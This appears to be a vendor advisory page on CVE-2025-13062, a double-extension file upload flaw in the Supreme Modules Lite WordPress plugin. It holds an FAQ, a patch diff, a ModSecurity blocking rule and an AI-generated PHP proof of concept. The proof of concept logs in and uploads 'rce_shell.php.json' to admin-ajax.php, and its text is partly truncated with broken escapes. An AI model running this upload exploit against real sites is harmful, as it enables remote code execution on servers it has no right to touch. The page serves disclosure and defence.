What is CVE-2025-13062?

CVE-2025-13062 is a high-severity vulnerability in the Supreme Modules Lite plugin for WordPress, affecting versions up to 2.5.62. It allows authenticated users with author-level access or higher to upload arbitrary files via a JSON upload bypass due to insufficient file type validation.

How does the vulnerability work?

The vulnerability arises from the `dsm_check_filetype_and_ext` function, which incorrectly validates filenames containing the substring ‘.json’. This allows attackers to upload files with double extensions, such as ‘shell.php.json’, which can be executed on the server, potentially leading to remote code execution.

Who is affected by this vulnerability?

Any WordPress site using the Supreme Modules Lite plugin version 2.5.62 or earlier is affected. Users with author-level permissions or higher can exploit this vulnerability, making it critical for site administrators to assess their user roles and plugin versions.

How can I check if my site is vulnerable?

To check for vulnerability, verify the version of the Supreme Modules Lite plugin installed on your WordPress site. If it is version 2.5.62 or earlier, your site is vulnerable. Additionally, review user roles to identify if any users have author-level access or higher.

What is the recommended fix for this vulnerability?

The vulnerability is patched in version 2.5.63 of the Supreme Modules Lite plugin. It is recommended that all users update to this version or later to mitigate the risk of exploitation.

What does a CVSS score of 8.8 indicate?

A CVSS score of 8.8 indicates a high severity vulnerability. This means that the vulnerability poses a significant risk to the affected system, making it critical for administrators to address it promptly to prevent potential exploitation.

What are the practical risks of this vulnerability?

If exploited, this vulnerability can allow attackers to upload malicious files, leading to remote code execution. This can result in complete compromise of the WordPress site, including data theft, backdoor creation, and use of the server for further attacks.

How does the proof of concept demonstrate the issue?

The proof of concept illustrates the steps an attacker would take to exploit the vulnerability, including crafting a malicious file with a double extension and sending it to the vulnerable AJAX endpoint. It highlights how the plugin’s flawed validation allows the upload of harmful files.

What steps should I take immediately?

Immediately check the version of the Supreme Modules Lite plugin on your site. If it is vulnerable, update to the latest version. Additionally, review user permissions and consider restricting author-level access until the site is secured.

Are there any additional security measures I should implement?

In addition to updating the plugin, consider implementing a Web Application Firewall (WAF) to block potential exploitation attempts. Regularly audit user roles and permissions, and monitor upload activities for any suspicious behavior.

What should I do if I cannot update the plugin?

If updating the plugin is not immediately possible, consider disabling the JSON import functionality or restricting access to authenticated users with higher privileges. Additionally, monitor the server for any unauthorized file uploads.

Where can I find more information about this vulnerability?

More detailed information about CVE-2025-13062 can be found in the official CVE database, security advisories from WordPress, and security blogs that focus on WordPress vulnerabilities and best practices.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-13062: Supreme Modules Lite <= 2.5.62 – Authenticated (Author+) Arbitrary File Upload via JSON Upload Bypass (supreme-modules-for-divi)

CVE ID CVE-2025-13062

Plugin supreme-modules-for-divi

Severity High (CVSS 8.8)

CWE 434

Vulnerable Version 2.5.62

Patched Version 2.5.63

Disclosed January 14, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-13062:nThe Supreme Modules Lite WordPress plugin, versions up to and including 2.5.62, contains an arbitrary file upload vulnerability. The plugin’s JSON file upload handler incorrectly validates double-extension filenames, allowing authenticated attackers with author-level or higher privileges to upload malicious files. This flaw receives a CVSS score of 8.8 (High).nnThe root cause lies in the `dsm_check_filetype_and_ext` function within the `class-dsm-json-handler.php` file. The vulnerable function (lines 22-31 in the diff) uses `strpos` to check for the substring ‘.json’ anywhere in the filename. This logic fails to validate the actual file extension. An attacker can submit a filename like ‘shell.php.json’ which contains ‘.json’ but does not end with it. The function then overrides WordPress’s default file type detection, forcing the file to be classified as a JSON file regardless of its actual content or extension.nnExploitation requires an authenticated user with at least Author-level permissions. The attacker must access the plugin’s JSON import functionality, which is enabled by default. They can then upload a file with a double extension (e.g., ‘malicious.php.json’). The plugin’s `dsm_check_filetype_and_ext` function will identify the ‘.json’ substring and assign the MIME type ‘application/json’. WordPress’s upload system accepts the file. The server stores the file with its full name, including the ‘.php’ extension, within the WordPress uploads directory. This makes the PHP file accessible via a direct HTTP request, leading to potential remote code execution.nnThe patch modifies the `dsm_check_filetype_and_ext` function in `class-dsm-json-handler.php`. The fix adds a guard clause (lines 28-30) that prevents overriding WordPress’s file type detection if it has already succeeded. The critical change replaces the `strpos` check with a `preg_match` (line 33) that validates the filename ends with the ‘.json’ extension (`’/.json$/i’`). This ensures only files with a true .json extension are processed as JSON, blocking the double-extension bypass. The patch also includes minor code formatting and constant usage improvements.nnSuccessful exploitation grants an attacker the ability to upload arbitrary files, including PHP scripts, to the target web server. This directly leads to remote code execution under the web server’s user context. An attacker can achieve complete compromise of the WordPress site, create backdoors, steal data, or use the server as a pivot point within the network. The requirement for Author-level authentication reduces the attack surface but does not eliminate the risk, as many WordPress sites have multiple authors or user accounts can be compromised.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-13062 – Supreme Modules Lite <= 2.5.62 – Authenticated (Author+) Arbitrary File Upload via JSON Upload Bypassnn str_replace(‘/wp-admin/admin-ajax.php’, ‘/wp-login.php’, $target_url),n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => ‘/wp-admin/’,n ‘testcookie’ => ‘1’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEJAR => ‘cookies.txt’,n CURLOPT_COOKIEFILE => ‘cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);nn// 2. Craft a malicious PHP file with a double .json extensionn$php_payload = ”;n$file_name = ‘rce_shell.php.json’;nn// 3. Create a multipart form data payload simulating the plugin’s JSON uploadn$boundary = ‘—-AtomicEdgeBoundary’ . uniqid();n$body = “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”action\”\r\n\r\n”;n$body .= “dsm_import_json\r\n”; // This is the presumed AJAX action for the import featuren$body .= “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”dsm_json_file\”; filename=\”$file_name\”\r\n”;n$body .= “Content-Type: application/json\r\n\r\n”;n$body .= $php_payload . “\r\n”;n$body .= “–$boundary–\r\n”;nn// 4. Send the upload request to the vulnerable AJAX endpointncurl_setopt_array($ch, [n CURLOPT_URL => $target_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => $body,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_HTTPHEADER => [n “Content-Type: multipart/form-data; boundary=$boundary”,n “X-Requested-With: XMLHttpRequest”n ],n CURLOPT_COOKIEFILE => ‘cookies.txt’n]);nn$upload_response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nn// 5. Parse response to extract the uploaded file URLn// The plugin likely returns a JSON response with a file URL or path.n// This step is environment-dependent and may require inspecting the actual plugin response.necho “Upload HTTP Code: $http_code\n”;necho “Response: $upload_response\n”;nncurl_close($ch);nn// Note: The exact AJAX action (‘dsm_import_json’) and parameter name (‘dsm_json_file’) are inferred from typical plugin patterns.n// In a real assessment, these would be identified by reviewing the plugin’s admin JavaScript and PHP AJAX handlers.n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-13062n# Blocks double-extension file uploads targeting the Supreme Modules Lite JSON import feature.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:1306201,phase:2,deny,status:403,chain,msg:’CVE-2025-13062 – Supreme Modules Lite Arbitrary File Upload via JSON Import’,severity:’CRITICAL’,tag:’CVE-2025-13062′,tag:’WordPress’,tag:’Plugin’,tag:’Supreme-Modules-Lite'”n SecRule ARGS_POST:action “@streq dsm_import_json” “chain”n SecRule FILES “@rx \.(php|phtml|phar|inc|asp|aspx|jsp|cfm)\.[^.]+$” \n “t:none,t:urlDecodeUni,t:lowercase,t:normalizePathWin,capture,setvar:’tx.cve_2025_13062_score=+%{tx.critical_anomaly_score}’,setvar:’tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'””
}
“`

Differential between vulnerable and patched code

Code Diff

--- a/supreme-modules-for-divi/includes/class-dsm-json-handler.php
+++ b/supreme-modules-for-divi/includes/class-dsm-json-handler.php
@@ -1,44 +1,49 @@
 <?php
 // Prevent direct access to files
 if ( ! defined( 'ABSPATH' ) ) {
-	exit;
+    exit;
 }
+
 if ( ! class_exists( 'DSM_JSON_Handler' ) ) {
-	class DSM_JSON_Handler {
-		const MIME_TYPE = 'application/json';
+    class DSM_JSON_Handler {
+        const MIME_TYPE = 'application/json';

-		/**
-		* add JSON to allowed file uploads.
-		*
-		* @since 2.0.5
-		*/
-		public function dsm_mime_types( $mimes ) {
-			$mimes['json'] = 'application/json';
-			return $mimes;
-		}
-		/**
-		* add JSON to wp_check_filetype_and_ext.
-		*
-		* @since 2.0.5
-		*/
-		public function dsm_check_filetype_and_ext( $types, $file, $filename, $mimes ) {
-			if ( false !== strpos( $filename, '.json' ) ) {
-				$types['ext']  = 'json';
-				$types['type'] = self::MIME_TYPE;
-			}
-
-			return $types;
-		}
-
-		/**
-		 * DSM_JSON_Handler constructor.
-		 *
-		 * @param string $name
-		 * @param array  $args
-		 */
-		public function __construct() {
-			add_filter( 'upload_mimes', array( $this, 'dsm_mime_types' ) );
-			add_filter( 'wp_check_filetype_and_ext', array( $this, 'dsm_check_filetype_and_ext' ), 10, 4 );
-		}
-	}
-}
+        /**
+         * Add JSON to allowed file uploads.
+         *
+         * @since 2.0.5
+         */
+        public function dsm_mime_types( $mimes ) {
+            $mimes['json'] = self::MIME_TYPE;
+            return $mimes;
+        }
+
+        /**
+         * (Optional) Correct filetype for .json files if WP cannot detect it.
+         *
+         * @since 2.0.5
+         */
+        public function dsm_check_filetype_and_ext( $types, $file, $filename, $mimes ) {
+            // If WP already detected a valid type, do not override
+            if ( ! empty( $types['ext'] ) && ! empty( $types['type'] ) ) {
+                return $types;
+            }
+
+            // Only treat files that actually end with .json as JSON
+            if ( preg_match( '/.json$/i', $filename ) ) {
+                $types['ext']  = 'json';
+                $types['type'] = self::MIME_TYPE;
+            }
+
+            return $types;
+        }
+
+        /**
+         * DSM_JSON_Handler constructor.
+         */
+        public function __construct() {
+            add_filter( 'upload_mimes', array( $this, 'dsm_mime_types' ) );
+            add_filter( 'wp_check_filetype_and_ext', array( $this, 'dsm_check_filetype_and_ext' ), 10, 4 );
+        }
+    }
+}
 No newline at end of file
--- a/supreme-modules-for-divi/includes/class-dsm-supreme-modules-for-divi.php
+++ b/supreme-modules-for-divi/includes/class-dsm-supreme-modules-for-divi.php
@@ -82,7 +82,6 @@
 		$this->set_locale();
 		$this->define_admin_hooks();
 		$this->define_public_hooks();
-
 	}

 	/**
@@ -107,37 +106,36 @@
 		 * The class responsible for orchestrating the actions and filters of the
 		 * core plugin.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-supreme-modules-for-divi-loader.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-supreme-modules-for-divi-loader.php';

 		/**
 		 * The class responsible for defining internationalization functionality
 		 * of the plugin.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-supreme-modules-for-divi-i18n.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-supreme-modules-for-divi-i18n.php';

 		/**
 		 * The class responsible for defining all actions that occur in the admin area.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/class-dsm-supreme-modules-for-divi-admin.php';
+		require_once plugin_dir_path( __DIR__ ) . 'admin/class-dsm-supreme-modules-for-divi-admin.php';

 		/**
 		 * The class responsible for defining all actions that occur in the public-facing
 		 * side of the site.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'public/class-dsm-supreme-modules-for-divi-public.php';
+		require_once plugin_dir_path( __DIR__ ) . 'public/class-dsm-supreme-modules-for-divi-public.php';

 		/**
 		 * The class responsible for defining all actions that occur in Divi Supreme
 		 * side of the site.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class.settings-api.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class.page-settings.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-supreme-modules-for-divi-review.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/SupremeModulesLoader.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-json-handler.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class.settings-api.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class.page-settings.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-supreme-modules-for-divi-review.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/SupremeModulesLoader.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-json-handler.php';

 		$this->loader = new Dsm_Supreme_Modules_For_Divi_Loader();
-
 	}

 	/**
@@ -177,11 +175,16 @@
 		add_filter( 'admin_footer_text', array( $this, 'dsm_admin_footer_text' ) );
 		add_action( 'admin_enqueue_scripts', array( $this, 'dsm_admin_load_enqueue' ) );

-
 		// JSON Handler.
-		if ( $this->settings_api->get_option( 'dsm_allow_mime_json_upload', 'dsm_settings_misc' ) === 'on' || $this->settings_api->get_option( 'dsm_allow_mime_json_upload', 'dsm_settings_misc' ) === '' ) {
+		$allow_json_upload = $this->settings_api->get_option(
+			'dsm_allow_mime_json_upload',
+			'dsm_settings_misc'
+		);
+
+		if ( 'on' === $allow_json_upload || '' === $allow_json_upload ) {
 			new DSM_JSON_Handler();
 		}
+
 		// Plugin links
 		add_filter( 'plugin_action_links_supreme-modules-for-divi/supreme-modules-for-divi.php', array( $this, 'dsm_plugin_action_links' ), 10, 5 );
 		add_filter( 'plugin_action_links', array( $this, 'dsm_add_action_plugin' ), 10, 5 );
@@ -293,7 +296,6 @@

 		$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_styles' );
 		$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_scripts' );
-
 	}

 	/**
@@ -448,7 +450,7 @@
 			$screen = get_current_screen();

 			if ( is_object( $screen ) && 'dsm_header_footer' == $screen->post_type ) {
-				wp_enqueue_script( 'dsm-admin-js', plugins_url( 'admin/js/dsm-admin.js', dirname( __FILE__ ) ) );
+				wp_enqueue_script( 'dsm-admin-js', plugins_url( 'admin/js/dsm-admin.js', __DIR__ ) );
 			}
 		}
 	}
@@ -758,13 +760,19 @@
 			?>
 			<div class="notice notice-info">

-				<p><?php /* Translators: %1$s: Permalink settings URL, %2$s: Divi options URL */
-			_e( sprintf(
-        'Notice: For first time user, please re-save your <a href="%1$s" target="_blank">Permalinks</a> again to flush the rewrite rules in order to view them in Visual Builder. This will only work for the Divi Theme. Once ElegantThemes updates their Template Hook on Extra Theme, this feature will also be available. Currently, only the footer and 404 template is available to you. Please create one template and assign it to the footer or 404. If you do not see Divi Builder here, remember to <a href="%2$s" target="_blank">Enable Divi Builder On Post Types</a> in the Divi Options.',
-        esc_url( get_admin_url() . 'options-permalink.php' ),
-        esc_url( get_admin_url() . 'admin.php?page=et_divi_options#wrap-builder' )
-    ),
-    'supreme-modules-for-divi'); ?></p>
+				<p>
+				<?php
+				/* Translators: %1$s: Permalink settings URL, %2$s: Divi options URL */
+				_e(
+					sprintf(
+						'Notice: For first time user, please re-save your <a href="%1$s" target="_blank">Permalinks</a> again to flush the rewrite rules in order to view them in Visual Builder. This will only work for the Divi Theme. Once ElegantThemes updates their Template Hook on Extra Theme, this feature will also be available. Currently, only the footer and 404 template is available to you. Please create one template and assign it to the footer or 404. If you do not see Divi Builder here, remember to <a href="%2$s" target="_blank">Enable Divi Builder On Post Types</a> in the Divi Options.',
+						esc_url( get_admin_url() . 'options-permalink.php' ),
+						esc_url( get_admin_url() . 'admin.php?page=et_divi_options#wrap-builder' )
+					),
+					'supreme-modules-for-divi'
+				);
+				?>
+	</p>
 			</div>
 			<?php
 		}
@@ -821,30 +829,26 @@
 	public function output_section( $output, $render_slug, $module ) {
 		if ( 'et_pb_section' !== $render_slug ) {
 			return $output;
-		} else {
-			if ( isset( $module->props['dsm_section_schedule_visibility'] ) && $module->props['dsm_section_schedule_visibility'] === 'on' ) {
-				if ( is_array( $output ) ) {
-					return $output;
-				}
+		} elseif ( isset( $module->props['dsm_section_schedule_visibility'] ) && $module->props['dsm_section_schedule_visibility'] === 'on' ) {
+			if ( is_array( $output ) ) {
+				return $output;
+			}

 				$dsm_section_schedule_visibility     = $module->props['dsm_section_schedule_visibility'];
 				$dsm_section_schedule_show_hide      = $module->props['dsm_section_schedule_show_hide'];
 				$dsm_section_schedule_after_datetime = $module->props['dsm_section_schedule_after_datetime'];
 				$dsm_section_current_wp_date         = wp_date( 'Y-m-d H:i:s', null );

-				if ( $dsm_section_schedule_show_hide === 'start' ) {
-					if ( $dsm_section_schedule_after_datetime >= $dsm_section_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+			if ( $dsm_section_schedule_show_hide === 'start' ) {
+				if ( $dsm_section_schedule_after_datetime >= $dsm_section_current_wp_date ) {
+					return;
 				} else {
-					if ( $dsm_section_schedule_after_datetime <= $dsm_section_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+					$output;
 				}
+			} elseif ( $dsm_section_schedule_after_datetime <= $dsm_section_current_wp_date ) {
+					return;
+			} else {
+				$output;
 			}
 		}
 		return $output;
@@ -896,30 +900,26 @@
 	public function output_row( $output, $render_slug, $module ) {
 		if ( 'et_pb_row' !== $render_slug ) {
 			return $output;
-		} else {
-			if ( isset( $module->props['dsm_row_schedule_visibility'] ) && $module->props['dsm_row_schedule_visibility'] === 'on' ) {
-				if ( is_array( $output ) ) {
-					return $output;
-				}
+		} elseif ( isset( $module->props['dsm_row_schedule_visibility'] ) && $module->props['dsm_row_schedule_visibility'] === 'on' ) {
+			if ( is_array( $output ) ) {
+				return $output;
+			}

 				$dsm_row_schedule_visibility     = $module->props['dsm_row_schedule_visibility'];
 				$dsm_row_schedule_show_hide      = $module->props['dsm_row_schedule_show_hide'];
 				$dsm_row_schedule_after_datetime = $module->props['dsm_row_schedule_after_datetime'];
 				$dsm_row_current_wp_date         = wp_date( 'Y-m-d H:i:s', null );

-				if ( $dsm_row_schedule_show_hide === 'start' ) {
-					if ( $dsm_row_schedule_after_datetime >= $dsm_row_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+			if ( $dsm_row_schedule_show_hide === 'start' ) {
+				if ( $dsm_row_schedule_after_datetime >= $dsm_row_current_wp_date ) {
+					return;
 				} else {
-					if ( $dsm_row_schedule_after_datetime <= $dsm_row_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+					$output;
 				}
+			} elseif ( $dsm_row_schedule_after_datetime <= $dsm_row_current_wp_date ) {
+					return;
+			} else {
+				$output;
 			}
 		}
 		return $output;
@@ -1257,24 +1257,24 @@
 		if ( class_exists( 'Caldera_Forms' ) ) {
 			add_filter(
 				'caldera_forms_render_field_file',
-				function( $field_file, $field_type ) {
+				function ( $field_file, $field_type ) {
 					if ( 'dropdown' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/dropdown/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/dropdown/field.php';
 					}
 					if ( 'button' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/button/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/button/field.php';
 					}
 					if ( 'radio' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/radio/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/radio/field.php';
 					}
 					if ( 'checkbox' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/checkbox/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/checkbox/field.php';
 					}
 					if ( 'html' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/html/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/html/field.php';
 					}
 					if ( 'advanced_file' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/advanced_file/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/advanced_file/field.php';
 					}
 					return $field_file;
 				},
--- a/supreme-modules-for-divi/supreme-modules-for-divi.php
+++ b/supreme-modules-for-divi/supreme-modules-for-divi.php
@@ -3,7 +3,7 @@
  * Plugin Name: Supreme Modules Lite - Divi Theme, Extra Theme and Divi Builder
  * Plugin URI:  https://divisupreme.com/supreme-modules-lite-for-divi/
  * Description: Divi Supreme enhances the experience and features found on Divi and extend with custom creative modules to help you build amazing websites.
- * Version:     2.5.62
+ * Version:     2.5.63
  * Author:      Supreme Modules
  * Author URI:  https://divisupreme.com/about/
  * License:     GPL2
@@ -34,7 +34,7 @@
 }

 if ( ! defined( 'DSM_VERSION' ) ) {
-	define( 'DSM_VERSION', '2.5.62' );
+	define( 'DSM_VERSION', '2.5.63' );
 }

 if ( ! defined( 'DSM_SHORTCODE' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

Frequently Asked Questions

What is CVE-2025-13062?
Overview of the vulnerability
CVE-2025-13062 is a high-severity vulnerability in the Supreme Modules Lite plugin for WordPress, affecting versions up to 2.5.62. It allows authenticated users with author-level access or higher to upload arbitrary files via a JSON upload bypass due to insufficient file type validation.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from the `dsm_check_filetype_and_ext` function, which incorrectly validates filenames containing the substring ‘.json’. This allows attackers to upload files with double extensions, such as ‘shell.php.json’, which can be executed on the server, potentially leading to remote code execution.
Who is affected by this vulnerability?
Identifying vulnerable users
Any WordPress site using the Supreme Modules Lite plugin version 2.5.62 or earlier is affected. Users with author-level permissions or higher can exploit this vulnerability, making it critical for site administrators to assess their user roles and plugin versions.
How can I check if my site is vulnerable?
Steps for verification
To check for vulnerability, verify the version of the Supreme Modules Lite plugin installed on your WordPress site. If it is version 2.5.62 or earlier, your site is vulnerable. Additionally, review user roles to identify if any users have author-level access or higher.
What is the recommended fix for this vulnerability?
Updating the plugin
The vulnerability is patched in version 2.5.63 of the Supreme Modules Lite plugin. It is recommended that all users update to this version or later to mitigate the risk of exploitation.
What does a CVSS score of 8.8 indicate?
Understanding severity levels
A CVSS score of 8.8 indicates a high severity vulnerability. This means that the vulnerability poses a significant risk to the affected system, making it critical for administrators to address it promptly to prevent potential exploitation.
What are the practical risks of this vulnerability?
Potential consequences
If exploited, this vulnerability can allow attackers to upload malicious files, leading to remote code execution. This can result in complete compromise of the WordPress site, including data theft, backdoor creation, and use of the server for further attacks.
How does the proof of concept demonstrate the issue?
Technical details of exploitation
The proof of concept illustrates the steps an attacker would take to exploit the vulnerability, including crafting a malicious file with a double extension and sending it to the vulnerable AJAX endpoint. It highlights how the plugin’s flawed validation allows the upload of harmful files.
What steps should I take immediately?
Immediate actions for administrators
Immediately check the version of the Supreme Modules Lite plugin on your site. If it is vulnerable, update to the latest version. Additionally, review user permissions and consider restricting author-level access until the site is secured.
Are there any additional security measures I should implement?
Enhancing overall security
In addition to updating the plugin, consider implementing a Web Application Firewall (WAF) to block potential exploitation attempts. Regularly audit user roles and permissions, and monitor upload activities for any suspicious behavior.
What should I do if I cannot update the plugin?
Mitigation strategies
If updating the plugin is not immediately possible, consider disabling the JSON import functionality or restricting access to authenticated users with higher privileges. Additionally, monitor the server for any unauthorized file uploads.
Where can I find more information about this vulnerability?
Resources for further reading
More detailed information about CVE-2025-13062 can be found in the official CVE database, security advisories from WordPress, and security blogs that focus on WordPress vulnerabilities and best practices.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations